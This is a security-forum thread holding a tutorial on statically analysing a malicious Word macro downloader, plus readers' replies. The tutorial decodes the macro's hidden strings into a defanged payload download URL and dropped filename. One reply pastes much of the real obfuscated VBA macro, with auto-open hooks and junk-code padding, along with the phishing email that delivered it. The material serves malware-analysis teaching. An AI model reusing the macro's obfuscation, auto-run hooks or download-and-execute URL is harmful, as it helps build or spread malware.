Author Topic: [Tutorial] Analyzing Malware By Example: Part 1  (Read 7650 times)

0 Members and 3 Guests are viewing this topic.

Offline Deque

  • P.I.N.N.
  • Global Moderator
  • Overlord
  • *
  • Posts: 1203
  • Cookies: 518
  • Programmer, Malware Analyst
    • View Profile
[Tutorial] Analyzing Malware By Example: Part 1
« on: January 25, 2015, 01:22:23 pm »
Analyzing Malware By Example: Part 1

In this tutorial you will learn how to perform basic static analysis on a malicious sample. Please make sure to prepare a safe analysis environment on your machine before you start.

I strongly encourage you actually do the things that are explained here on your analysis environment. Merely reading the tutorial is not enough.

Our Sample:

Download the zip file with sample here: sample.zip

The password is "infected".

File Type Analysis

You have sample now that you want to analyse, but you don't know what kind of file it is. The file type or the format it is made of is the most important thing to start with. Once you know the file format you are able to decide which tools are suitable for analysis.

If you are only used to a Windows environment, you may be skeptic about the usefulness of file type analysis. Afterall the file extension of a file will show in most cases the correct type, e.g., .exe for executable programs, .doc for Microsoft Word files etc.
But it is not that easy.

  • The file extension can be spoofed
  • With the right command you can execute any file regardless of the file extension.
  • Temporary files often have the file extension .tmp regardless of their file type.
  • Therefore, malware often has the wrong file extension.
  • Depending were you get the samples, they will likely not have any file extension. Samples shared by researches often just have the hash as their filename.
  • You should be able to detect the type of embedded files.
So how do you get to know the file type of a sample?
File types are determined by file signatures, which are usually at the very beginning of the file. A signature is a specific sequence of bytes that was defined by the file format specification so the correct file type can be verified by applications that parse these files.
A large list of file type signatures is at http://www.garykessler.net/library/file_sigs.html

Most malware analysts know the file type signature or other typical strings of most common file types by rote, because they see them every day. So they often just open the file in a hex editor and can tell what is inside.

However, if you don't know how certain files typically look like, you might also run a file type parser or scanner. Linux has in inbuilt file type parser, which is:

Code: [Select]
file <sample>
On both Linux and Windows you can use TdID, which has over 6000 file type definitions. Download TdID now and try it with our sample.

Tip for command prompt usage on Windows: Navigate to the trid_w32 folder, hold Shift, then rightclick on the folder and click open command window here (see also link).
A command prompt will open in the folder where you had the focus on. Type
trid.exe, then drag the sample into the command prompt and press Enter.

(Note: I take as a given that you can navigate your command prompt if you use Linux.)

If you get a message that says "No definitions available!" you need to download a the newest definition database from here (scroll down to the Download section and choose TrIDDefs.TRD package). Unpack the ZIP file and put the triddefs.trd into the same folder as trid.exe. Apply trid.exe on our sample and you should get an output like this:

Code: [Select]
TrID/32 - File Identifier v2.20 - (C) 2003-15 By M.Pontello
Definitions found:  6108
Analyzing...

Collecting data from file: 048714ed23c86a32f085cc0a4759875219bdcb0eb61dabb2ba03de09311a1827
 45.7% (.DOC) Microsoft Word document (32000/1/3)
 42.8% (.XLS) Microsoft Excel sheet (30000/1/2)
 11.4% (.) Generic OLE2 / Multistream Compound File (8000/1)

That means our sample is most likely a Word or Excel document.
If you used the Linux file command on the sample, you will get an even more detailed output, because it is able to parse a lot of file types.

Now that we have an idea, let's use a hex editor. It can be any of your choice.
Scroll a bit through the file and see if you recognise any strings.
At some point you might see this:



This tells you that our sample is a Microsoft Word document.

Another possibily of research: Check if the file is listed on Virustotal. For that you may get the file hash. Linux has again an inbuilt command called sha256sum to calculate a hash value. For Windows you may use a program like HashCheck.

Virustotal does not only list detections, it also shows lots of additional information about the file, depending on the filetype.
You can of course upload the file, but often there are reasons not to do so. The file might contain private information that shouldn't be available on the web. You must be aware that every file you upload on Virustotal is available for everyone who pays for file access.

Looking at the Code

Our sample is a Microsoft Office document, most likely a Word document. There are great tools out there to analyse these documents.

Download OfficeMalScanner and extract the ZIP file and execute the OfficeMalScanner.exe via command line. You will see usage information.

Code: [Select]
+------------------------------------------+
|           OfficeMalScanner v0.61         |
|  Frank Boldewin / www.reconstructer.org  |
+------------------------------------------+

Usage:
------
OfficeMalScanner <PPT, DOC or XLS file> <scan | info> <brute> <debug>

Options:
  scan    - scan for several shellcode heuristics and encrypted PE-Files
  info    - dumps OLE structures, offsets+length and saves found VB-Macro code
  inflate - decompresses Ms Office 2007 documents, e.g. docx, into a temp dir
Switches: (only enabled if option "scan" was selected)
  brute - enables the "brute force mode" to find encrypted stuff
  debug - prints out disassembly resp hexoutput if a heuristic was found

Examples:
  OfficeMalScanner evil.ppt scan brute debug
  OfficeMalScanner evil.ppt scan
  OfficeMalScanner evil.ppt info

Malicious index rating:
  Executables: 20
  Code       : 10
  STRINGS    :  2
  OLE        :  1

----------------------------------------------------------------------------
    I strongly suggest you to scan malicious files in a safe environment
 like VMWARE, as this tool is written in C and might have exploitable bugs!
----------------------------------------------------------------------------

Apply the scan mode with the following command:

Code: [Select]
OfficeMalScanner.exe <samplename> scan
It will verify that this is a Word document:

Code: [Select]
[*] Ms Office OLE2 Compound Format document detected
[*] Format type Winword

And it will tell you that it found no malicious traces, but this is an automated analysis. Always check the file yourself. Run the info mode to extract any Macro code from the file.

Code: [Select]
OfficeMalScanner.exe <samplename> info
The program tells you that it found VB-Macro Code in the file and where the Macro code is saved to. Navigate to that location.
I strongly recommend that you use Notepad++ to open the extracted VB code. In the Menue choose Language --> V --> VB to get proper syntax highlighting.

You will see a lot of code that does not look useful. Adding clutter is a common way of obfuscation.
Press Ctrl + F to open the search window and search for the string "environ". A description of the function is here: https://msdn.microsoft.com/en-us/library/office/gg264486.aspx

Quote
Returns the String associated with an operating system environment variable.

A lot of malware authors use this function to determine the location of the Temp folder.
Other typical functions you might search for in unknown Macro scripts are:

Code: [Select]
Shell
StrReverse
Chr
Put
Write
.exe
Open
ResponseBody
Binary

These will lead you to the relevant code parts if you have a lot of clutter in the code.

In this part of the code you can see some interesting hex strings. To get the meaning of these hex strings open a terminal and the python interpreter (or use another language you are more comfortable with).

Code: [Select]
unknown = "568756E2E69626F237A6F2D6F636E24756E6F686361666F2F2A307474786"
We save one of the strings in a variable.
The VBA macro reverses the string, so we do the same:

Code: [Select]
reversed = unknown[::-1]
The last step is to transform this hex representation into a readable string.

Code: [Select]
reversed.decode("hex")
The result will show you a download path for an executable. Warning: Even if it is tempting, you must not visit a website found in malicious files! But you may do some additional research with whois.

The other strings can be obtained the same way:

Code: [Select]
"05D45445"[::-1].decode("hex")
You will get the following strings

Code: [Select]
hxxp://fachonet.com/js/bin.exe
\\YEWZMJFAHIB.exe
TEMP

Search for some of the other keywords that I told you and explore the code. You will find the code that writes the file to disk and the part that runs it.

Obviously this document downloads a file from hxxp :// fachonet . com/js / bin . exe, saves it as YEWZMJFAHIB.exe into the TEMP directory and runs it. This kind of malware is called macro downloader.

That was the first malware analysis tutorial. Macro malware seemed dead for while, but a new wave of it popped up. Office malware samples are usually droppers or downloaders that are spread via email. That makes them the initial carriers of infections.
« Last Edit: November 27, 2015, 09:02:55 am by Deque »

Offline $Clone

  • Peasant
  • *
  • Posts: 86
  • Cookies: 5
  • $---Shadowalker---$
    • View Profile
Re: [Tutorial] Analyzing Malware By Example: Part 1
« Reply #1 on: January 25, 2015, 03:18:36 pm »
 8) 8) 8) .....as always +1 by tha way might you know about polymorphic and metamorphic engines....??

Offline Deque

  • P.I.N.N.
  • Global Moderator
  • Overlord
  • *
  • Posts: 1203
  • Cookies: 518
  • Programmer, Malware Analyst
    • View Profile
Re: [Tutorial] Analyzing Malware By Example: Part 1
« Reply #2 on: January 25, 2015, 03:22:16 pm »
might you know about polymorphic and metamorphic engines....??

Yes?

Offline $Clone

  • Peasant
  • *
  • Posts: 86
  • Cookies: 5
  • $---Shadowalker---$
    • View Profile
Re: [Tutorial] Analyzing Malware By Example: Part 1
« Reply #3 on: January 25, 2015, 06:01:35 pm »
Yes?
i have been searching for code examples of polymorphic and metamorphism in c,python i was hoping for a tutorial  ;) ....i have seen one of yours in python.....any other[size=78%]  [/size]

Offline Deque

  • P.I.N.N.
  • Global Moderator
  • Overlord
  • *
  • Posts: 1203
  • Cookies: 518
  • Programmer, Malware Analyst
    • View Profile
Re: [Tutorial] Analyzing Malware By Example: Part 1
« Reply #4 on: January 25, 2015, 06:44:31 pm »
i have been searching for code examples of polymorphic and metamorphism in c,python i was hoping for a tutorial  ;) ....i have seen one of yours in python.....any other[size=78%]  [/size]

As C is usually compiled to machine code, you would have to morph the machine code; only if you rely on availability of a compiler, you could actual change the code on a high level basis.
If you want examples, look into The Art Of Computer Virus Research and Defense.

Offline $Clone

  • Peasant
  • *
  • Posts: 86
  • Cookies: 5
  • $---Shadowalker---$
    • View Profile
Re: [Tutorial] Analyzing Malware By Example: Part 1
« Reply #5 on: January 26, 2015, 01:12:16 pm »
thnx Deque!

Offline Pavornoc

  • /dev/null
  • *
  • Posts: 11
  • Cookies: -1
    • View Profile
Re: [Tutorial] Analyzing Malware By Example: Part 1
« Reply #6 on: February 07, 2015, 02:03:53 am »
Thanks so much, Deque.  This was really informative and helpful.  I like the "learn by doing" approach, so thanks for taking the time to detail all this out.

Offline DemonRZ

  • /dev/null
  • *
  • Posts: 13
  • Cookies: -3
    • View Profile
Re: [Tutorial] Analyzing Malware By Example: Part 1
« Reply #7 on: February 07, 2015, 05:57:11 am »
Excellent! Great job on explaining everything, definitely helpful! +1
Life is like a game, learn it, play it, exploit it...hack it.

Offline DreX

  • Serf
  • *
  • Posts: 42
  • Cookies: -5
    • View Profile
Re: [Tutorial] Analyzing Malware By Example: Part 1
« Reply #8 on: April 27, 2015, 05:23:51 pm »
Can I just ask where must i put this sample file.
When I enter
python olevba.py <sample> > vba_extracted
I first get
> was unexpected at this time
When I remove it it says it can't find the file. Even if I specify the files location.

Offline Deque

  • P.I.N.N.
  • Global Moderator
  • Overlord
  • *
  • Posts: 1203
  • Cookies: 518
  • Programmer, Malware Analyst
    • View Profile
Re: [Tutorial] Analyzing Malware By Example: Part 1
« Reply #9 on: April 27, 2015, 09:21:37 pm »
Can I just ask where must i put this sample file.
When I enter
python olevba.py <sample> > vba_extracted
I first get
> was unexpected at this time
When I remove it it says it can't find the file. Even if I specify the files location.

Replace <sample> with the name of the file.
E.g. if the file's name is myfile.doc you have to type:
python olevba.py myfile.doc > extractedvba.txt
« Last Edit: April 27, 2015, 09:22:22 pm by Deque »

Offline byte-

  • NULL
  • Posts: 1
  • Cookies: 0
    • View Profile
Re: [Tutorial] Analyzing Malware By Example: Part 1
« Reply #10 on: July 03, 2015, 02:43:46 pm »
in some cases you must set the correct path e.g
python olevba.py /home/myshit/myfile.doc > extractedvba.txt

Offline dotszilla

  • Peasant
  • *
  • Posts: 68
  • Cookies: -61
  • ..you'll either LOVE me or HATE me..
    • View Profile
Re: [Tutorial] Analyzing Malware By Example: Part 1
« Reply #11 on: July 03, 2015, 03:05:03 pm »
great tutorial bro +1.. keep em coming..
"The box said 'Requires Windows XP or better'. So I installed LINUX..."

Offline Aurora

  • /dev/null
  • *
  • Posts: 18
  • Cookies: -31
  • Reverse Engineer
    • View Profile
Re: [Tutorial] Analyzing Malware By Example: Part 1
« Reply #12 on: August 15, 2015, 05:54:07 pm »
This is awesome, thanks for sharing!
« Last Edit: August 15, 2015, 05:54:47 pm by Aurora »

Offline bn1st

  • /dev/null
  • *
  • Posts: 10
  • Cookies: -1
    • View Profile
Re: [Tutorial] Analyzing Malware By Example: Part 1
« Reply #13 on: August 16, 2015, 07:31:35 pm »
In addition to that:

Once you downloaded the sample you can easily execute this command:
#root md5sum 048714ed23c86a32f085cc0a4759875219bdcb0eb61dabb2ba03de09311a1827
eb6db8890657f982118699f019812fdd  048714ed23c86a32f085cc0a4759875219bdcb0eb61dabb2ba03de09311a1827

Once you have the hash you can do a recon if someone already posted it. It will give you an overview how that ware was delivered to their targets. In doing this:
Go to VT and locate the comments most white hats post additional information for this sample, it was a phishing with the following details:

Code: [Select]
From: "Tracey Smith"
Subject: Card Receipt
Date: Thu, 18 Dec 2014 09:26:42 +0200

Hi

Please find attached receipt of payment made to us today

Regards


So that Macro  for the sample ^ is posted here: http://pastebin.com/MEnNu1g1

Code: [Select]
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function HexToString(ByVal RltjOJKINyryd As String) As String
Dim pFJLDdFkUPE As String
Dim PGTfNMAmNkwKsJw As String
Dim aNLFYUrNmr As Long
For aNLFYUrNmr = 1 To Len(RltjOJKINyryd) Step 2
Dim UnYTmOaJ, dwfNUtKO, JkWmMbPn As String
Dim lgeiGvhi, ghdlpEDo, phxTRUqp As String
lgeiGvhi = "           HWEOSY               "
ghdlpEDo = LTrim(lgeiGvhi)
phxTRUqp = RTrim(ghdlpEDo)

UnYTmOaJ = "           TRYHYE               "
Dim pDPhCIPw, FOlPprZf, lRNtxvlt As String
pDPhCIPw = "           LPIIME               "
FOlPprZf = LTrim(pDPhCIPw)
lRNtxvlt = RTrim(FOlPprZf)

dwfNUtKO = LTrim(UnYTmOaJ)
Dim OpYlooAl, smWdKYqD, nqaHVkxw As String
OpYlooAl = "           FVWTRU               "
smWdKYqD = LTrim(OpYlooAl)
nqaHVkxw = RTrim(smWdKYqD)

JkWmMbPn = RTrim(dwfNUtKO)

Dim yWoMJQpK, laWClbde, jSvPjALA As String
yWoMJQpK = "           AOLUOM               "
laWClbde = LTrim(yWoMJQpK)
jSvPjALA = RTrim(laWClbde)

pFJLDdFkUPE = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(RltjOJKINyryd, aNLFYUrNmr, 2)))
Dim aTvMDjLw, EJDFxFZH, KULkZbFv As String
Dim dENlEEfa, iRpRVIQz, rTmHlSoe As String
dENlEEfa = "           DEZFYO               "
iRpRVIQz = LTrim(dENlEEfa)
rTmHlSoe = RTrim(iRpRVIQz)

aTvMDjLw = "           COJLLQ               "
Dim lipjLcgv, VeKQyKyh, EBbyldVi As String
lipjLcgv = "           JPJAER               "
VeKQyKyh = LTrim(lipjLcgv)
EBbyldVi = RTrim(VeKQyKyh)

EJDFxFZH = LTrim(aTvMDjLw)
Dim npRWTBuJ, GNPbQPlb, ksBlmizL As String
npRWTBuJ = "           EFGQNP               "
GNPbQPlb = LTrim(npRWTBuJ)
ksBlmizL = RTrim(GNPbQPlb)

KULkZbFv = RTrim(EJDFxFZH)

Dim AxLTBCKs, DZTIAQXw, QdimbDAW As String
AxLTBCKs = "           SCPBFN               "
DZTIAQXw = LTrim(AxLTBCKs)
QdimbDAW = RTrim(DZTIAQXw)

PGTfNMAmNkwKsJw = PGTfNMAmNkwKsJw & pFJLDdFkUPE
Next aNLFYUrNmr
Dim isbTfpXQ, lksIHCBX, TcVQkQeu As String
Dim JNTkITOG, SaHEeOuH, IaNGcFRJ As String
JNTkITOG = "           ZFKFOO               "
SaHEeOuH = LTrim(JNTkITOG)
IaNGcFRJ = RTrim(SaHEeOuH)

isbTfpXQ = "           ZJABWU               "
Dim ogTyVdBn, FqfnsIHk, UArszGyW As String
ogTyVdBn = "           LVYEWK               "
FqfnsIHk = LTrim(ogTyVdBn)
UArszGyW = RTrim(FqfnsIHk)

lksIHCBX = LTrim(isbTfpXQ)
Dim oPzyHmld, cniPXyTW, NSxRTEfg As String
oPzyHmld = "           MAAJTM               "
cniPXyTW = LTrim(oPzyHmld)
NSxRTEfg = RTrim(cniPXyTW)

TcVQkQeu = RTrim(lksIHCBX)

Dim OegXFLJU, WoaBhYWJ, ugDzKmVz As String
OegXFLJU = "           HDWUIV               "
WoaBhYWJ = LTrim(OegXFLJU)
ugDzKmVz = RTrim(WoaBhYWJ)

HexToString = PGTfNMAmNkwKsJw
End Function


Sub Auto_Open()
Dim qFKFhFjf, HPboZoiy, wTiEGRBC As String
Dim GsjPJqlW, rzxfXXRE, YfQiTlfC As String
Dim xMaeKqUG, QPuYVXLc, fXwnUlZJ As String
xMaeKqUG = "           AYNGYG               "
QPuYVXLc = LTrim(xMaeKqUG)
fXwnUlZJ = RTrim(QPuYVXLc)

GsjPJqlW = "           PGIYYH               "
Dim LSrTNFPP, JxUkVHjo, eZlmnRll As String
LSrTNFPP = "           MRHBFX               "
JxUkVHjo = LTrim(LSrTNFPP)
eZlmnRll = RTrim(JxUkVHjo)

rzxfXXRE = LTrim(GsjPJqlW)
Dim PtsSICQZ, TywBeaoE, AuYqcyYR As String
PtsSICQZ = "           VJIVOK               "
TywBeaoE = LTrim(PtsSICQZ)
AuYqcyYR = RTrim(TywBeaoE)

YfQiTlfC = RTrim(rzxfXXRE)

Dim vFNlDuEC, rOIFNZwG, ORhodCdY As String
vFNlDuEC = "           MNSZNX               "
rOIFNZwG = LTrim(vFNlDuEC)
ORhodCdY = RTrim(rOIFNZwG)

qFKFhFjf = "           DNISFD               "
Dim AoXeyvaB, DgIyIdtp, BmmopNim As String
Dim UoeXHyeU, plkHbESa, vpcmTgVO As String
UoeXHyeU = "           DCYMMY               "
plkHbESa = LTrim(UoeXHyeU)
vpcmTgVO = RTrim(plkHbESa)

AoXeyvaB = "           SHSQJF               "
Dim WWNXfJYo, iaSBGTOl, yShSDUhL As String
WWNXfJYo = "           XOFUWV               "
iaSBGTOl = LTrim(WWNXfJYo)
yShSDUhL = RTrim(iaSBGTOl)

DgIyIdtp = LTrim(AoXeyvaB)
Dim elPWeOdq, BmMucDPs, MwrlKKif As String
elPWeOdq = "           IVMZLQ               "
BmMucDPs = LTrim(elPWeOdq)
MwrlKKif = RTrim(BmMucDPs)

BmmopNim = RTrim(DgIyIdtp)

Dim oialgEQG, avJryPNl, YmbvltJq As String
oialgEQG = "           LWJPEN               "
avJryPNl = LTrim(oialgEQG)
YmbvltJq = RTrim(avJryPNl)

HPboZoiy = LTrim(qFKFhFjf)
Dim wscQkRqh, eJvUoCqR, BKILEaIY As String
Dim CLTQTDTe, sOQhPbJQ, FWNplCbt As String
CLTQTDTe = "           FTHUNR               "
sOQhPbJQ = LTrim(CLTQTDTe)
FWNplCbt = RTrim(sOQhPbJQ)

wscQkRqh = "           POOGSH               "
Dim fjXdTxjz, bxIhiqld, cuszydNQ As String
fjXdTxjz = "           TMSGRD               "
bxIhiqld = LTrim(fjXdTxjz)
cuszydNQ = RTrim(bxIhiqld)

eJvUoCqR = LTrim(wscQkRqh)
Dim SMizZVEf, UWlfCzag, EXZbkuvh As String
SMizZVEf = "           BQYYYL               "
UWlfCzag = LTrim(SMizZVEf)
EXZbkuvh = RTrim(UWlfCzag)

BKILEaIY = RTrim(eJvUoCqR)

Dim oRMWPUyf, FbAhCzCy, UHlaFodO As String
oRMWPUyf = "           LYDVFZ               "
FbAhCzCy = LTrim(oRMWPUyf)
UHlaFodO = RTrim(FbAhCzCy)

wTiEGRBC = RTrim(HPboZoiy)

Dim nNFoRvOL, yXwEJLnQ, QJrBrgkZ As String
Dim TleXGoJv, MponWMeu, xwcmRkSn As String
TleXGoJv = "           YLASTG               "
MponWMeu = LTrim(TleXGoJv)
xwcmRkSn = RTrim(MponWMeu)

nNFoRvOL = "           ZJPTPV               "
Dim LuNXdMmN, ydSBFIcq, klvzjxAw As String
LuNXdMmN = "           WGFIMB               "
ydSBFIcq = LTrim(LuNXdMmN)
klvzjxAw = RTrim(ydSBFIcq)

yXwEJLnQ = LTrim(nNFoRvOL)
Dim ATqLIlRJ, xTmteczL, lYRjcZbM As String
ATqLIlRJ = "           MRUAOE               "
xTmteczL = LTrim(ATqLIlRJ)
lYRjcZbM = RTrim(xTmteczL)

QJrBrgkZ = RTrim(yXwEJLnQ)

Dim PNqEppLj, gWLBxRPi, MJnlPBAN As String
PNqEppLj = "           UJXGNH               "
gWLBxRPi = LTrim(PNqEppLj)
MJnlPBAN = RTrim(gWLBxRPi)

CYNHXUNLXHY
End Sub
Sub AutoOpen()
Dim ldZStYCh, UeIhqkoV, pgXpMGKk As String
Dim lfwjSThj, WbPqweBP, pgHFAFql As String
Dim FWVjGpkK, eQrWWWEn, TXlFRldM As String
FWVjGpkK = "           PYBXTG               "
eQrWWWEn = LTrim(FWVjGpkK)
TXlFRldM = RTrim(eQrWWWEn)

lfwjSThj = "           YNGRKL               "
Dim BVAHICSX, VItZYBlm, pFJToDwT As String
BVAHICSX = "           VPZRTA               "
VItZYBlm = LTrim(BVAHICSX)
pFJToDwT = RTrim(VItZYBlm)

WbPqweBP = LTrim(lfwjSThj)
Dim tSKfWJqn, NDebhXIA, XDdQONyZ As String
tSKfWJqn = "           OUVSGG               "
NDebhXIA = LTrim(tSKfWJqn)
XDdQONyZ = RTrim(NDebhXIA)

pgHFAFql = RTrim(WbPqweBP)

Dim PxNwvkMj, hkIJSSQo, WfhsBuEN As String
PxNwvkMj = "           NJSELA               "
hkIJSSQo = LTrim(PxNwvkMj)
WfhsBuEN = RTrim(hkIJSSQo)

ldZStYCh = "           BGFUDN               "
Dim CyWujNvz, XJvMgztn, iCqCJHiQ As String
Dim VfEWlznR, nbKGzbpV, GhVliqwY As String
VfEWlznR = "           XNLLOR               "
nbKGzbpV = LTrim(VfEWlznR)
GhVliqwY = RTrim(nbKGzbpV)

CyWujNvz = "           CFQDXZ               "
Dim bwOqlbAJ, cudVkAuj, PdBaMhpA As String
bwOqlbAJ = "           QXYGVG               "
cudVkAuj = LTrim(bwOqlbAJ)
PdBaMhpA = RTrim(cudVkAuj)

XJvMgztn = LTrim(CyWujNvz)
Dim OPsFVxYy, RQwNkAri, nSYsSTAo As String
OPsFVxYy = "           VYIBHT               "
RQwNkAri = LTrim(OPsFVxYy)
nSYsSTAo = RTrim(RQwNkAri)

iCqCJHiQ = RTrim(XJvMgztn)

Dim ynwGeBkj, VJsnMyYM, ESMWunvS As String
ynwGeBkj = "           JRAWCQ               "
VJsnMyYM = LTrim(ynwGeBkj)
ESMWunvS = RTrim(VJsnMyYM)

UeIhqkoV = LTrim(ldZStYCh)
Dim igVYPGfA, rhoKtMQZ, QWpFWsQK As String
Dim QdlPKvzN, NebfVpfI, gLRKrWbj As String
QdlPKvzN = "           IGPYYX               "
NebfVpfI = LTrim(QdlPKvzN)
gLRKrWbj = RTrim(NebfVpfI)

igVYPGfA = "           EQCDWW               "
Dim EnzJaTOc, GYFMZlSU, DkjUnmlu As String
EnzJaTOc = "           DBGTFJ               "
GYFMZlSU = LTrim(EnzJaTOc)
DkjUnmlu = RTrim(GYFMZlSU)

rhoKtMQZ = LTrim(igVYPGfA)
Dim JhFROjfJ, SjBHrmQL, IjozvboM As String
JhFROjfJ = "           ZXXMOZ               "
SjBHrmQL = LTrim(JhFROjfJ)
IjozvboM = RTrim(SjBHrmQL)

QWpFWsQK = RTrim(rhoKtMQZ)

Dim xZFFclXW, acxoQDFS, YlrEViTR As String
xZFFclXW = "           NTPMUW               "
acxoQDFS = LTrim(xZFFclXW)
YlrEViTR = RTrim(acxoQDFS)

pgXpMGKk = RTrim(UeIhqkoV)

Dim kEApfSlH, CvoRniqU, AlHBDZzb As String
Dim spOCqUlB, bNFnhlTU, FHMtwrJh As String
spOCqUlB = "           XFJSGA               "
bNFnhlTU = LTrim(spOCqUlB)
FHMtwrJh = RTrim(bNFnhlTU)

kEApfSlH = "           HWBCDS               "
Dim gouMlZgP, ngLCWjlM, bBxOLlVl As String
gouMlZgP = "           YHJYVH               "
ngLCWjlM = LTrim(gouMlZgP)
bBxOLlVl = RTrim(ngLCWjlM)

CvoRniqU = LTrim(kEApfSlH)
Dim sKkGMRfW, iLAagIQX, eMQdODoC As String
sKkGMRfW = "           SPQNGO               "
iLAagIQX = LTrim(sKkGMRfW)
eMQdODoC = RTrim(iLAagIQX)

AlHBDZzb = RTrim(CvoRniqU)

Dim VLZQkCWr, EGpuRlDX, iPKAJDRD As String
VLZQkCWr = "           UENQGJ               "
EGpuRlDX = LTrim(VLZQkCWr)
iPKAJDRD = RTrim(EGpuRlDX)

    Auto_Open
End Sub
Sub Workbook_Open()
Dim aUrkZCKq, fDHmrQXm, bLZcYbBT As String
Dim husthSVT, RCkImcpf, uoYZrWKU As String
Dim QILqclly, NcVFErTF, ZOdIdAfi As String
QILqclly = "           ONXLXL               "
NcVFErTF = LTrim(QILqclly)
ZOdIdAfi = RTrim(NcVFErTF)

husthSVT = "           VSYHKE               "
Dim qyTNWKsW, xskexYgy, OkryBllj As String
qyTNWKsW = "           QBIJNJ               "
xskexYgy = LTrim(qyTNWKsW)
OkryBllj = RTrim(xskexYgy)

RCkImcpf = LTrim(husthSVT)
Dim lnTQxIbm, gAHCJSCw, qZNoqJmx As String
lnTQxIbm = "           HAKCEQ               "
gAHCJSCw = LTrim(lnTQxIbm)
qZNoqJmx = RTrim(gAHCJSCw)

uoYZrWKU = RTrim(RCkImcpf)

Dim jdYxMHwJ, WifJuqfO, nrXslTtA As String
jdYxMHwJ = "           HSZEED               "
WifJuqfO = LTrim(jdYxMHwJ)
nrXslTtA = RTrim(WifJuqfO)

aUrkZCKq = "           BZHKZA               "
Dim COrxctgF, oHHbBLlB, unldCWVc As String
Dim uPluOrwG, wnbPGGUc, VQFRvdjJ As String
uPluOrwG = "           LAPJZS               "
wnbPGGUc = LTrim(uPluOrwG)
VQFRvdjJ = RTrim(wnbPGGUc)

COrxctgF = "           CEHWNR               "
Dim SbpPNcdC, PpSxVbKw, XhvbndWY As String
SbpPNcdC = "           JVLAFD               "
PpSxVbKw = LTrim(SbpPNcdC)
XhvbndWY = RTrim(PpSxVbKw)

oHHbBLlB = LTrim(COrxctgF)
Dim poWEiyGC, tptGZqdB, apgaXgPN As String
poWEiyGC = "           QKBMWC               "
tptGZqdB = LTrim(poWEiyGC)
apgaXgPN = RTrim(tptGZqdB)

unldCWVc = RTrim(oHHbBLlB)

Dim CNCoyhDF, AXRElQTY, mdwgpKMp As String
CNCoyhDF = "           DJGTBL               "
AXRElQTY = LTrim(CNCoyhDF)
mdwgpKMp = RTrim(AXRElQTY)

fDHmrQXm = LTrim(aUrkZCKq)
Dim QlLeZhio, UlehXlTp, ZmdAjves As String
Dim jNjjPJgf, LsRqlgVU, izPFvaph As String
jNjjPJgf = "           TLSRJB               "
LsRqlgVU = LTrim(jNjjPJgf)
izPFvaph = RTrim(LsRqlgVU)

QlLeZhio = "           KDMVJO               "
Dim agkBkfSu, BNWShhkT, qyUGKrwH As String
agkBkfSu = "           VLCOCO               "
BNWShhkT = LTrim(agkBkfSu)
qyUGKrwH = RTrim(BNWShhkT)

UlehXlTp = LTrim(QlLeZhio)
Dim rhTOSoOP, BjGWuduQ, WjBuAkRS As String
rhTOSoOP = "           IXKXQV               "
BjGWuduQ = LTrim(rhTOSoOP)
WjBuAkRS = RTrim(BjGWuduQ)

ZmdAjves = RTrim(UlehXlTp)

Dim UdPevOJn, dikcQrOk, KeNKBbnp As String
UdPevOJn = "           TCIZIE               "
dikcQrOk = LTrim(UdPevOJn)
KeNKBbnp = RTrim(dikcQrOk)

bLZcYbBT = RTrim(fDHmrQXm)

Dim biuFJIhl, teForeiq, OVxEjvBz As String
Dim hSGxdrxI, KCrjXAyz, yDoMadkP As String
hSGxdrxI = "           RSBUTT               "
KCrjXAyz = LTrim(hSGxdrxI)
yDoMadkP = RTrim(KCrjXAyz)

biuFJIhl = "           MPGSZP               "
Dim mntVotJY, YYJaQLMH, RjmDOWbh As String
mntVotJY = "           IBJIKR               "
YYJaQLMH = LTrim(mntVotJY)
RjmDOWbh = RTrim(YYJaQLMH)

teForeiq = LTrim(biuFJIhl)
Dim uwJHwjiN, exazHmTa, Vxqfqbez As String
uwJHwjiN = "           PBCNEZ               "
exazHmTa = LTrim(uwJHwjiN)
Vxqfqbez = RTrim(exazHmTa)

OVxEjvBz = RTrim(teForeiq)

Dim pvMhSkeH, GlZPBSMU, mhpysuSb As String
pvMhSkeH = "           DKONNA               "
GlZPBSMU = LTrim(pvMhSkeH)
mhpysuSb = RTrim(GlZPBSMU)

    Auto_Open
End Sub

Sub CYNHXUNLXHY()
Dim xEDlunVH, lEVRATwK, fRiHXOLL As String
Dim UUFVGcUE, XxLAWoLs, vIiwRYZT As String
Dim jyGRJRnt, Ljevnzpv, iuozYDwu As String
jyGRJRnt = "           VQMEYN               "
Ljevnzpv = LTrim(jyGRJRnt)
iuozYDwu = RTrim(Ljevnzpv)

UUFVGcUE = "           YBMDTX               "
Dim SBUCWgns, VtlNceRx, qqyeBJUU As String
SBUCWgns = "           JQTISO               "
VtlNceRx = LTrim(SBUCWgns)
qqyeBJUU = RTrim(VtlNceRx)

XxLAWoLs = LTrim(UUFVGcUE)
Dim GNWYhpcG, QNtKPgWJ, YagrtllK As String
GNWYhpcG = "           AFNWNB               "
QNtKPgWJ = LTrim(GNWYhpcG)
YagrtllK = RTrim(QNtKPgWJ)

vIiwRYZT = RTrim(XxLAWoLs)

Dim xZOfkYwn, zvkIRafl, YlBeJxtp As String
xZOfkYwn = "           LWEBGO               "
zvkIRafl = LTrim(xZOfkYwn)
YlBeJxtp = RTrim(zvkIRafl)

xEDlunVH = "           KEXFWU               "
Dim SvDDNnlr, VTbHZfcg, pQsLrznv As String
Dim OxeZicNN, sUjxJWOl, ncxaCYWz As String
OxeZicNN = "           GTYPEG               "
sUjxJWOl = LTrim(OxeZicNN)
ncxaCYWz = RTrim(sUjxJWOl)

SvDDNnlr = "           JVIEFG               "
Dim OHYeCZez, WClybjyd, ietoatpc As String
OHYeCZez = "           CJILZO               "
WClybjyd = LTrim(OHYeCZez)
ietoatpc = RTrim(WClybjyd)

VTbHZfcg = LTrim(SvDDNnlr)
Dim jkTMeLrn, dlGycVnA, ilBkKzVE As String
jkTMeLrn = "           GCKZLH               "
dlGycVnA = LTrim(jkTMeLrn)
ilBkKzVE = RTrim(dlGycVnA)

pQsLrznv = RTrim(VTbHZfcg)

Dim gNXkdBUm, LWESbmvd, SsmchAFH As String
gNXkdBUm = "           XJFOZQ               "
LWESbmvd = LTrim(gNXkdBUm)
SsmchAFH = RTrim(LWESbmvd)

lEVRATwK = LTrim(xEDlunVH)
